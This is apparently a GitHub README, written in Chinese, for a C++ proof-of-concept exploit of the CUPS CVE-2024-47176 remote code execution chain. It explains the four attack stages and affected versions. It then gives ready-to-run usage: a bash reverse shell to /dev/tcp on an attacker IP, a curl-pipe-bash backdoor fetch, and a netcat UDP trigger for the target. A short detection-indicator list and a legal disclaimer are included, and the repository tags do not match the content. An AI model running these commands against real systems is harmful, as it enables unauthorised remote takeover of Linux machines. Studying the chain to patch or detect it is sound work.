Stickxx00/Cups-RCE-Exploit
GitHub: Stickxx00/Cups-RCE-Exploit
针对 CUPS CVE-2024-47176 漏洞链的 C++ 编写的未授权远程代码执行漏洞利用 PoC。
Stars: 0 | Forks: 0
# CUPS RCE Exploit - CVE-2024-47176 漏洞链
## 简介
这是一个功能完整的 PoC(概念验证)漏洞利用程序,针对 2024 年 9 月发现的 CUPS(Common Unix Printing System)远程代码执行漏洞链。该漏洞链由四个 CVE 组成 —— CVE-2024-47176、CVE-2024-47076、CVE-2024-47175 和 CVE-2024-47177,它们结合在一起,允许未经身份验证的远程攻击者在任何运行易受攻击版本 CUPS 的 Linux 系统上执行任意命令。
## 工作原理
该漏洞利用程序部署了一个伪装成网络打印机的恶意 IPP(Internet Printing Protocol)服务器。攻击分为四个阶段展开:
阶段 1 — 探测触发
向目标端口 631 发送特制的 UDP 数据包。cups-browsed 守护进程在未经身份验证的情况下信任该数据包,并主动向攻击者的 IPP 服务器发回 TCP 连接,以获取打印机属性。
阶段 2 — 恶意 PPD 投递
攻击者的 IPP 服务器响应包含未过滤数据的打印机属性。这些数据流经 libcupsfilters 和 libppd,但它们未能验证或过滤输入,从而允许将恶意的 FoomaticRIPCommandLine 指令嵌入到 PPD 文件中。
阶段 3 — 命令注入
当打印作业被发送到受攻击者控制的打印机时(自动发送或由用户操作触发),foomatic-rip 过滤器会处理 PPD 文件,并以 lp 用户的权限执行注入的命令。
阶段 4 — Payload 执行
注入的命令在目标系统上运行。常见的 Payload 包括反弹 Shell、安装后门、数据泄露或权限提升准备。
## 受影响版本
cups-browsed <= 2.0.1
libcupsfilters <= 2.1b1
libppd <= 2.1b1
cups-filters <= 2.0.1
大多数 Linux 发行版在 2024 年末发布补丁之前都附带了受影响的版本。
## 前置条件
装有 g++ 和标准开发工具的 Linux 机器
具有对目标网络的访问权限(必须能访问 UDP 端口 631)
目标必须正在运行并在 UDP 631 上监听的 cups-browsed
建议使用 root 或 sudo 权限来绑定端口 631(或使用像 1631 这样的高位端口)
## 编译
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
无外部依赖。可以在任何带有 g++ 的 Linux 发行版上编译。
## 使用说明
./cups_rce_exploit -l -r [options]
### 选项
-l, --listener 恶意 IPP 服务器的攻击者 IP 地址
-r, --reverse 在目标上执行的命令,或脚本文件的路径
-t, --target 目标机器 IP(自动发送触发 UDP 数据包)
-p, --port 恶意 IPP 服务器的端口(默认:631)
-s, --spoof 伪装的打印机名称(默认:VulnPrinter)
-T, --target-port 目标 UDP 端口(默认:631)
-h, --help 显示帮助信息
### 反弹 Shell 示例
终端 1 — 启动监听器:
nc -lvnp 4444
终端 2 — 运行漏洞利用程序:
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
### 从文件执行 Payload
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh
./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
### 手动触发的服务器模式
终端 1 — 启动服务器:
./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
终端 2 — 向目标发送 UDP 触发器:
echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
### 使用非特权端口
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
## 完整攻击演示
步骤 1:在攻击者机器上设置 netcat 监听器
nc -lvnp 4444
步骤 2:编译漏洞利用程序
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
步骤 3:对目标运行漏洞利用程序
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
步骤 4:如果目标机器上的用户向该恶意打印机打印测试页或任何文档,您将收到一个 lp 用户的反弹 Shell。
## 检测指标
端口 631 上包含 IPP URI 字符串的异常 UDP 数据包
cups-browsed 发往端口 631 上未知主机的外部 TCP 连接
CUPS Web 界面中自动出现的未知打印机
由 foomatic-rip 生成或以 lp 用户身份运行的进程
## 免责声明
法律声明
本软件仅供教育和研究目的使用。旨在帮助安全专业人员、渗透测试人员和系统管理员理解、检测和防御所描述的漏洞。
未经授权,对您不拥有或未获得明确书面测试许可的系统使用此漏洞利用程序是非法的,可能会违反《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》以及其他司法管辖区的类似法律。
授权的使用场景包括:对您拥有的系统进行安全评估、获得书面授权的渗透测试、具有明确范围的漏洞赏金计划、在受控实验室环境中进行的学术研究以及 CTF 竞赛。
对于因滥用本软件或本软件造成的任何损害,作者不承担任何责任。用户需自行确保遵守所有适用法律,并在测试前获得适当的授权。
使用本软件即表示您接受这些条款。
## 参考资料
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I
https://www.cups.org
标签:C++, CUPS, Web报告查看器, XXE攻击, 数据擦除, 编程工具, 远程代码执行